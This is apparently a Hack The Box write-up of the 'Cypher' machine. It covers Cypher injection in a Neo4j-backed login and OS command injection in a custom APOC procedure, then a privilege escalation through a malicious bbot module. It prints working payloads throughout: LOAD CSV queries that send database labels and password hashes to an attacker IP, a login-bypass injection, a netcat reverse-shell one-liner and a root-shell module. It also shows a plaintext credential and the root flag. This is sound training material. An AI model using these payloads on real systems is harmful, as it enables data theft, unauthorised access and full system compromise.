Cypher - HTB Machine

- 12 mins read

Cypher is a Hack The Box machine released on 01 Mar 2025

Summary (How?)

Cypher is a HTB machine running a web app that relies on a Neo4j graph database. A Cypher-injection flaw lets us bypass the login logic and enumerate data. Then, an exposed directory holds a JAR file whose decompiled code reveals a custom Neo4j procedure that executes shell commands without sanitisation (command injection); exploiting that procedure yields remote code execution and a reverse shell.

Finally, privilege escalation was achieved by abusing a custom module functionality in the bbot OSINT tool, which graphasm could run with sudo privileges. Finally we used a PoC to spawn a root shell, granting full control of the system and access to the root flag.

Enumeration

nmap

All ports

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ nmap -p- --min-rate=1000 $IP -oN nmap-all-ports
Nmap scan report for 10.10.11.57
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Specific ports

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ nmap -sC -sV --min-rate=1000 -p 22,80 $IP -oN nmap-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 07:35 CST
Nmap scan report for 10.10.11.57
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.26 seconds

First, we modify /etc/hosts to add cypher.htb

Endpoints

We start by doing some fuzzing and find six endpoints

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://cypher.htb/FUZZ' > ffuf-dir-medium.txt

about                   [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 172ms]
index                   [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 172ms]
login                   [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 171ms]
demo                    [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 168ms]
api                     [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 171ms]
testing                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 170ms]

/ → Initial page

image.png

In /testing there is an open directory and we found a .jar file

image.png

Investigating the jar file

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ unzip -l custom-apoc-extension-1.0-SNAPSHOT.jar
Archive:  custom-apoc-extension-1.0-SNAPSHOT.jar
  Length      Date    Time    Name
---------  ---------- -----   ----
       81  2024-09-19 01:11   META-INF/MANIFEST.MF
      547  2024-09-19 01:11   com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class
     1670  2024-09-19 01:11   com/cypher/neo4j/apoc/HelloWorldProcedure.class
     3837  2024-09-19 01:11   com/cypher/neo4j/apoc/CustomFunctions.class
      573  2024-09-19 01:11   com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class
        0  2024-09-16 13:07   META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
     1631  2024-09-16 13:07   META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
       79  2024-09-19 01:11   META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties
---------                     -------
     8418                     15 files

The JAR is a lightweight Neo4j APOC extension with two classes:

  • HelloWorldProcedure.class, a procedure
  • CustomFunctions.class, a user-defined function class

APOC (“Awesome Procedures On Cypher”) is an add-on library for Neo4j that bundles user-defined procedures and functions to extend what you can do with Cypher.

Interesting message in the login page

From the TODO comment we know that users are stored in the neo4j database.

  <script>
    // TODO: don't store user accounts in neo4j
    function doLogin(e) {
      e.preventDefault();
      var username = $("#usernamefield").val();
      var password = $("#passwordfield").val();
      $.ajax({
        url: '/api/auth',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({ username: username, password: password }),
        success: function (r) {
          window.location.replace("/demo");
        },
        error: function (r) {
          if (r.status == 401) {
            notify("Access denied");
          } else {
            notify(r.responseText);
          }
        }
      });
    }

    $("form").keypress(function (e) {
      if (e.keyCode == 13) {
        doLogin(e);
      }
    })

    $("#loginsubmit").click(doLogin);
  </script>

Cypher Injection

After playing a little with the log in form we found that it is vulnerable to Cypher injection (which explains the box name). The following error is shown when we add a ' in the username field.

HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 09 Jul 2025 00:11:31 GMT
Content-Length: 3562
Connection: keep-alive

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Variable `s` not defined (line 1, column 98 (offset: 97))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
                                                                                                  ^

Cypher injection is the graph-database analogue of SQL injection. It targets unsanitised input in databases queried with the Cypher language—such as Neo4j, the engine behind BloodHound—letting an attacker run arbitrary Cypher commands.

These are two interesting resources on the matter

Let’s check again the error message from above and see that it outputs the cypher query that is being executed in the backend to retrieve the user’s password hash.

We now know:

  • SHA1 is the hash algorithm used to store passwords.
  • The backend compares this hash against the one computed from the password entered in the login form

From here we can exfiltrate user’s hash and probably bypass login.

Enumerating database labels

We found this writeup from an old HTB machine that explained how to enumerate database labels (which are similar to tables in SQL). The exploit abuses Cypher’s LOAD CSV FROM clause, embedding the labels as URL parameters in successive HTTP requests to an attacker-controlled server.

Using this payload

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.151:8000/?'+label AS b RETURN b //

Explanation:

  • ' OR 1=1 – Closes the quoted string in the original query and appends OR 1=1, forcing the WHERE clause to evaluate true and bypassing the intended restriction (classic boolean-based injection).
  • WITH 1 AS a – Starts a new query pipeline; the dummy variable a is never used but satisfies Cypher’s requirement that every subsequent clause have an input stream. This is necessary because in Cypher every subsequent clause consumes the stream produced by the previous one. If we jump straight to CALL db.labels() the procedure would be invoked once per row matched earlier (or return error if there is no stream).
  • CALL db.labels() YIELD label enumerates every distinct node label in the database.
  • LOAD CSV FROM 'http://10.10.14.151:8000/?' + label AS b forces Neo4j to perform an outbound HTTP GET for each label, effectively exfiltrating the label names to your listener.
  • // Finally this ignores the rest of the query

Results in these requests

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/custom-apoc-extension-1.0-SNAPSHOT]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.57 - - [10/Jul/2025 11:05:43] "GET /?USER HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:44] "GET /?HASH HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:47] "GET /?DNS_NAME HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:47] "GET /?SHA1 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:48] "GET /?SCAN HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:49] "GET /?ORG_STUB HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:51] "GET /?IP_ADDRESS HTTP/1.1" 200 -

Exfiltrating user’s SHA1 hash

Using the same logic as before, we will exfiltrate user’s hash and try to crack it offline.

The payload is

' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.151:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Explanation:

  • MATCH (f:USER) – Retrieves every node carrying the USER label and binds each node to the variable f, which will contain a map of user properties as keys. For example f[name]=username. The SQL “translation” would be to get the user’s table.
  • UNWIND keys(f) AS p – For each user, iterates over all its property names
  • LOAD CSV FROM 'http://10.10.14.151:8000/?' + p + '=' + toString(f[p]) AS l Builds a URL in the form /?<property>=<value>

As a result we manage to exfiltrate user graphasm and password hash 9f54ca4c130be6d529a56dee59dc2b2090e43acf

10.10.11.57 - - [10/Jul/2025 11:08:18] "GET /?name=graphasm HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:14:12] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:43] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:45] "GET /?scope_distance=0 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?type=SCAN HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:47] "GET /?web_spider_distance=0 HTTP/1.1" 200

Trying to crack it is useless, so we will have to bypass the log in form.

Hash.Target......: 9f54ca4c130be6d529a56dee59dc2b2090e43acf
Time.Started.....: Thu Jul 10 00:15:47 2025 (1 sec)
Time.Estimated...: Thu Jul 10 00:15:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 17643.1 kH/s (2.36ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)

Bypass login

If we recall, the query in the neo4j database returns the hash that later will be compared against the entered password.

"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"

The idea then is to calculate a password hash, inject that hash into the request, and submit the matching plaintext password. When the server re-hashes the supplied password and compares it to the injected value, the hashes match, allowing authentication to be bypassed.

Our password is

└─$ echo -n 'hola' | sha1sum
99800b85d3383e3a2fb45eb7d0066a4879a9dad0  -

And the resulting payload is

graphasm' return '99800b85d3383e3a2fb45eb7d0066a4879a9dad0' as hash //

Finally, we can see an ok message as a response indicating that we have successfully logged in.

image.png

Now we modify the access-token cookie in our browser and get access as graphasm.

Command injection in custom extension - User flag

Once logged in, the app allows to execute queries against the neo4j database.

image.png

Again, there is no input validation, and ' causes the app to crash.

image.png

Interesting databases with SHOW DATABASES. There is a system databse.

image.png

Reverse engineering the .class files

After playing a while with the database and trying to read an interesting user (remember the TODO comment we found at the beginning) the key was looking into the jar files we found earlier. The problem with the two procedures/functions found is that we have the compiled .class files, not the source code. To solve this, you can use a decompiler to reverse engineer the files. For this purpose, we used decompiler.com.

Here is the code of CustomFunctions.class

package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
   public Stream<com.cypher.neo4j.apoc.CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }

      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();

      String line;
      while((line = errorReader.readLine()) != null) {
         errorOutput.append(line).append("\n");
      }

      String statusCode = inputReader.readLine();
      System.out.println("Status code: " + statusCode);
      boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
      if (!exited) {
         process.destroyForcibly();
         statusCode = "0";
         System.err.println("Process timed out after 10 seconds");
      } else {
         int exitCode = process.exitValue();
         if (exitCode != 0) {
            statusCode = "0";
            System.err.println("Process exited with code " + exitCode);
         }
      }

      if (errorOutput.length() > 0) {
         System.err.println("Error output:\n" + errorOutput.toString());
      }

      return Stream.of(new com.cypher.neo4j.apoc.CustomFunctions.StringOutput(statusCode));
   }
}

OS Command Injection

From the code above a new injection becomes crystal clear. What is going on? The function takes a parameter url and appends it to the command

String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

With no kind of input sanitization, which leads to an easy OS command injection. Let’s try this.

image.png

And now we can get a reverse shell

example.com; rm /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 10.10.14.151 9001 > /tmp/f

We start as the neo4j service user and identify another user graphasm by listing the /home folder. Our next goal is to escalate privileges to graphasm to get the user flag.

We found something interesting in the database configuration.

neo4j@cypher:~/data$ cat dbms/auth.ini
cat dbms/auth.ini
neo4j:SHA-256,6a4277a4653a8536cff2d6f44fc698621e237d33a0fa36a57c55fb3bfead7b48,3d19d683dc15384a6cae9dc840740e93116cae7b0786b9dfee4dbbacbc13a65c,1024:

Credentials for graphasm user

Finally, the interesting loot was in a readable file in graphasm’s home folder.

neo4j@cypher:~$ cat /home/graphasm/bbot_preset.yml
cat /home/graphasm/bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

This file provides credentials that we can use to log in as graphasm

graphasm@cypher:/var/lib/neo4j$ whoami
whoami
graphasm

At this point, we have gained persistence via SSH access on the target system.

Root flag

bbot as sudo

We start by enumerating the system and find that graphasm has sudo privileges over /usr/local/bin/bbot.

BBOT (Bighuge BLS (Black Lantern Security) OSINT Tool) is an open-source, Python-based framework from Black Lantern Security that automates reconnaissance and attack-surface mapping. It chains 80-plus modular plugins in a recursive pipeline to enumerate subdomains, map IP space, probe ports and services, capture web screenshots, etc. Here is a blog explaining how to use it.

After doing some research we found that it is possible to create a custom module for this tool. We can use this to escalate privileges to root, just as it is shown in this PoC.

The custom module code is pretty straightforward

from bbot.modules.base import BaseModule
import pty
import os

class systeminfo_enum(BaseModule):
    watched_events = []
    produced_events = []
    flags = ["safe", "passive"]
    meta = {"description": "System Info Recon (actually spawns root shell)"}

    async def setup(self):
        self.hugesuccess("📡 systeminfo_enum setup called — launching shell!")
        try:
            pty.spawn(["/bin/bash", "-p"])
        except Exception as e:
            self.error(f"❌ Shell failed: {e}")
        return True

It spawns a shell using the pty Python module. This bbot module is invoked from a yaml configuration file preset.yml

description: System Info Recon Scan
module_dirs:
  - .
modules:
  - systeminfo_enum

Let’s try this against our target machine.

Custom module in bbot and a root shell

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ zip exploit.zip preset.yml systeminfo_enum.py
  adding: preset.yml (deflated 16%)
  adding: systeminfo_enum.py (deflated 39%)

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ ls
exploit.zip  preset.yml  systeminfo_enum.py

┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ scp exploit.zip [email protected]:/tmp

And finally, a shell with root privileges pops up.

graphasm@cypher:/tmp$ sudo /usr/local/bin/bbot -t dummy.com -p ./preset.yml --event-types ROOT
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/tmp# whoami
root
root@cypher:/tmp# cat /root/root.txt
e63f24d1a7eb2010126ec00ea142c419